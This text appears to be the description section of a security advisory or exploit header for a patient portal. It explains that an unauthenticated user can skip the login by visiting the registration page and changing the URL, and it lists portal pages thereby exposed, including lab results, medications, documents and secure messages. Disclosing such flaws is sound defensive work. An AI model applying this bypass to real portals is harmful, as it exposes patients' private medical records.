'''
Description:
An unauthenticated user is able to bypass the Patient Portal Login by simply navigating to
the registration page and modifying the requested url to access the desired page. Some
examples of pages in the portal directory that are accessible after browsing to the
registration page include:
- add_edit_event_user.php
- find_appt_popup_user.php
- get_allergies.php
- get_amendments.php
- get_lab_results.php
- get_medications.php
- get_patient_documents.php
- get_problems.php
- get_profile.php
- portal_payment.php
- messaging/messages.php
- messaging/secure_chat.php
- report/pat_ledger.php
- report/portal_custom_report.php
- report/portal_patient_report.php
Normally, access to these pages requires authentication as a patient. If a user were to visit
any of those pages unauthenticated, they would be redirected to the login page.
